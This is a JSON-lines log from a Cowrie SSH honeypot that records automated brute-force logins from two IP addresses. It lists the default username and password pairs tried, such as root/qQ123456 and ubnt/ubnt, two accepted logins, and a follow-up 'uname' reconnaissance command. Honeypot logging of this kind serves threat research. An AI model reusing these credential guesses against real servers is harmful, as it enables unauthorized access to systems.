{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50906,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c7b613b71e","protocol":"ssh","message":"New connection: 45.153.34.114:50906 (159.203.135.109:22) [session: 67c7b613b71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.861786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.866159Z","src_ip":"45.153.34.114","session":"67c7b613b71e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.954054Z","src_ip":"45.153.34.114","session":"67c7b613b71e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:42.214002Z","src_ip":"45.153.34.114","session":"67c7b613b71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:43.305587Z","src_ip":"45.153.34.114","session":"67c7b613b71e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60814,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ccee41ecd24","protocol":"ssh","message":"New connection: 45.153.34.114:60814 (159.203.135.109:22) [session: 3ccee41ecd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:49.942739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:49.946837Z","src_ip":"45.153.34.114","session":"3ccee41ecd24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:50.033015Z","src_ip":"45.153.34.114","session":"3ccee41ecd24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:50.373086Z","src_ip":"45.153.34.114","session":"3ccee41ecd24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:51.458218Z","src_ip":"45.153.34.114","session":"3ccee41ecd24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60818,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a70c4daba0","protocol":"ssh","message":"New connection: 45.153.34.114:60818 (159.203.135.109:22) [session: 16a70c4daba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:57.965863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:57.970718Z","src_ip":"45.153.34.114","session":"16a70c4daba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:58.054727Z","src_ip":"45.153.34.114","session":"16a70c4daba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60662,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b3b362bec8","protocol":"ssh","message":"New connection: 103.75.199.4:60662 (159.203.135.109:22) [session: c1b3b362bec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:58.261457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:58.265618Z","src_ip":"103.75.199.4","session":"c1b3b362bec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:58.356467Z","src_ip":"103.75.199.4","session":"c1b3b362bec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:58.364735Z","src_ip":"45.153.34.114","session":"16a70c4daba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:58.629412Z","src_ip":"103.75.199.4","session":"c1b3b362bec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:59.449659Z","src_ip":"45.153.34.114","session":"16a70c4daba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:59.722282Z","src_ip":"103.75.199.4","session":"c1b3b362bec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37348,"dst_ip":"159.203.135.109","dst_port":22,"session":"095adb2380d8","protocol":"ssh","message":"New connection: 45.153.34.114:37348 (159.203.135.109:22) [session: 095adb2380d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:06.229161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:06.233517Z","src_ip":"45.153.34.114","session":"095adb2380d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:06.340510Z","src_ip":"45.153.34.114","session":"095adb2380d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:06.720650Z","src_ip":"45.153.34.114","session":"095adb2380d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:07.806550Z","src_ip":"45.153.34.114","session":"095adb2380d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35398,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a5904658dc","protocol":"ssh","message":"New connection: 45.153.34.114:35398 (159.203.135.109:22) [session: 84a5904658dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:14.332967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:14.337312Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:14.426565Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:14.706485Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:14.928392Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:14.931929Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:15.023181Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:15.029322Z","src_ip":"45.153.34.114","session":"84a5904658dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58078,"dst_ip":"159.203.135.109","dst_port":22,"session":"20f2a8963b12","protocol":"ssh","message":"New connection: 103.75.199.4:58078 (159.203.135.109:22) [session: 20f2a8963b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:20.126412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:20.130998Z","src_ip":"103.75.199.4","session":"20f2a8963b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:20.221803Z","src_ip":"103.75.199.4","session":"20f2a8963b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:20.517541Z","src_ip":"103.75.199.4","session":"20f2a8963b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:21.610760Z","src_ip":"103.75.199.4","session":"20f2a8963b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45382,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b39413a157","protocol":"ssh","message":"New connection: 45.153.34.114:45382 (159.203.135.109:22) [session: 67b39413a157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:22.535404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:22.540685Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:22.628647Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:22.976280Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:23.191984Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:23.195247Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
